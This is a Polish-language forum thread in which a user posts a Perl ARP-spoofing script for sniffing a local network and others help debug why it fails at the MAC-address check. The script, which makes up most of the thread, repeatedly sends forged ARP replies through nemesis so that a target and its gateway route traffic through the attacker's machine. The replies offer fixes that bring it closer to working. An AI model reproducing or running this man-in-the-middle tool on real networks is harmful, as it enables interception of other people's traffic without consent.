Pokaż wyniki 1 do 7 z 7

Temat: skrypt arp.pl - sniffowanie

  1. #1
    Avatar michalski007
    michalski007 jest offline michalski
    Zarejestrowany
    Sep 2006
    Skąd
    Warszawa
    Postów
    137

    Domyślnie skrypt arp.pl - sniffowanie

    witam mam problem ze skryptem,skrypt sie kompiluje jednak w trakcie działania wyrzuca mi bład w 56 lini

    oto kod źródłowy

    Kod:
    #!/usr/bin/perl
    
    $gateway = shift;
    $target = shift;
    $time = shift;
    $device = shift;
    
    $i = 1;
    $SIG{INT} = \&quit;
    
    #Sprawdz poprawnosc argumentow przed startem
    if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
    {
     die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
    }
    
    if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
    {
     die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
    }
    
    if ($time=~/^$/)
    {
     $time = 10;
     print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
    }
    
    if ($time!~/^[0-9]+$/)
    {
     die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
    }
    
    if ($device=~/^$/)
    {
     $device = "wlan0";
     print("[-] Interfejs nieznany, przyjmuje wlan0.\n");
    }
    
    #Odczytaj adrecy MAC bramy i celu
    print("[+] Wysylam ?adanie echa do $gateway.\n");
    system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
    print("[+] Wysylam ?adanie echa do $target.\n");
    system("ping -c 1 -w 1 $target 2>&1 > /dev/null");
    
    #Pakiety wyslano , mo?emy odczytac adresy MAC
    print "[+] Oczytuje adresy MAC z pameici podrecznej ARP.\n";
    $gateway_mac = qx[qrp -na $gateway];
    $gateway_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);
    
    $target_mac = qx[qrp -na $gateway];
    $target_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);
    
    #Sprawdz czy odczytane adresy MAC sa poprawne
    if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
    {
     die("[!] Nie moglem odczytac adresu MAC dla $gateway.");     ---- tutaj blad-----
    }
    
    if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
    {
     die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
    }
    
    #odczytaj wlasny adres IP oraz MAC
    print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystuj?c ifconfig.\n";
    @ifconf = split(" " , qx[ifconfig $device]);
    $you = substr(@ifconf[6],5);
    $you_mac = $ifconf[4];
    
    print "{+} Interwal wysylanai pakietow to $time sekund.\n\n";
    
    print "-> Ty:   $you [$you_mac]\n";
    print "-> Cel:   $target [$target_mac]\n";
    print "-> Brama:   $gateway [$gateway_mac]\n";
    
    #Wysylamy paikety ARP
    while($i)
    {
     print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
     system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");
     print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
     system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
    
     sleep $time;
    }
    #Wcisnieto ctrl+c przywracaamy orginalene ustawienia
    sub quit
    {
     $i = 0;
     print "[-] Koniec programu.Przywracanie orginalnych ustawien ARP.\n";
     system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
     system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
    }
    może ktoś wie co jest nie tak?

  2. #2
    Avatar hedVB
    hedVB jest offline AI
    Zarejestrowany
    Nov 2007
    Postów
    874

    Domyślnie

    Mi w sumie wychodzi tylko

    Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs
    i tyle ;D -- ale ja się tam nie znam, dopiero się uczę (tqm gdzie III część )>
    Ostatnio edytowane przez hedVB : 04-26-2008 - 21:40
    www.lingubot.pl - projekt sztucznej inteligencji.

  3. #3
    Avatar michalski007
    michalski007 jest offline michalski
    Zarejestrowany
    Sep 2006
    Skąd
    Warszawa
    Postów
    137

    Domyślnie re:

    hedVB masz racje , skrypt sie uruchamia , mi również. jednak w trakcie dziłania dochodzi do tej lini
    Kod:
    #Sprawdz czy odczytane adresy MAC sa poprawne
    if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
    {
     die("[!] Nie moglem odczytac adresu MAC dla $gateway.");     ---- tutaj blad-----
    
    i w programie wyswietla sie "Nie moglem odczytac adresu MAC dla [ip] bład w lini 56"

  4. #4
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Jesli chodzi o adresy MAC itd... to moze to jest powodem problemow?
    Kod:
    $you = substr(@ifconf[6],5);    # linia 67
    To sie wlasnie dzieje jesli zapomina sie o podstawowej rzeczy jaka jest
    Kod:
    use strict;
    use warnings;  # wskazane podczas debugowania problemow
    Ostatnio edytowane przez TQM : 04-27-2008 - 10:39
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  5. #5
    s58
    s58 jest offline
    Zarejestrowany
    Feb 2011
    Postów
    1

    Domyślnie

    W sumie temat stary. Ale moze ktos zajzy w poszukiwaniu odp. Otóż moi drodzy problem tkwi w szczegole. albowiem tam gdzie wyrzuca nam linijke z błędem(oto ta linijka):

    #Sprawdz czy odczytane adresy MAC sa poprawne
    if($gateway_mac!~/^([A-F0-9]{2}\{5}[A-F0-9]{2}$/)
    {
    die("[!] Nie moglem odczytac adresu MAC dla $gateway.");

    nalezy duże litery(A-F razy2) w getway_mac i target_mac zamienic na małe. 4 zmienione literki a czlowiek sie usmiechnie mam nadzieje ze pomoglem. Pozdrawiam.

  6. #6
    Zarejestrowany
    Mar 2011
    Skąd
    Obecnie, jestem przy komputerze
    Postów
    80

    Domyślnie

    Moze troszke zaofftopuje, ale czy nie latwiej byloby piszac kilku-linijkowy kod powloki ?
    Jesli ten skrypt ma sluzyc do czestego uzytku to na prawde bez sensu bylo go pisac (chyba ze robil on za sprawdzenie swoich umiejetnosci programistycznych w perlu, spoko).
    Pisanie takich rzeczy w Perl-u to marnowanie czasu.

  7. #7
    rkh
    rkh jest offline
    Zarejestrowany
    Jun 2012
    Postów
    1

    Domyślnie Dzięki

    Cytat Napisał s58 Zobacz post
    W sumie temat stary. Ale moze ktos zajzy w poszukiwaniu odp. Otóż moi drodzy problem tkwi w szczegole. albowiem tam gdzie wyrzuca nam linijke z błędem(oto ta linijka):

    #Sprawdz czy odczytane adresy MAC sa poprawne
    if($gateway_mac!~/^([A-F0-9]{2}\{5}[A-F0-9]{2}$/)
    {
    die("[!] Nie moglem odczytac adresu MAC dla $gateway.");

    nalezy duże litery(A-F razy2) w getway_mac i target_mac zamienic na małe. 4 zmienione literki a czlowiek sie usmiechnie mam nadzieje ze pomoglem. Pozdrawiam.
    To było bardzo pomocne

Podobne wątki

  1. Zatrucie ARP
    By Paczek in forum Hacking
    Odpowiedzi: 6
    Autor: 03-27-2008, 09:27
  2. odwrócony arp
    By javaman in forum Inne metody
    Odpowiedzi: 6
    Autor: 03-25-2008, 13:06
  3. GG sniffowanie Czy wykrywalne??
    By pitek3 in forum Newbie - dla początkujących!
    Odpowiedzi: 4
    Autor: 02-03-2008, 16:19
  4. Sniffowanie Sieci LAN<dziwne>
    By eryk in forum Newbie - dla początkujących!
    Odpowiedzi: 7
    Autor: 07-24-2007, 11:36
  5. Arp spoofing
    By kaspsior in forum Security
    Odpowiedzi: 2
    Autor: 05-13-2007, 22:18

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj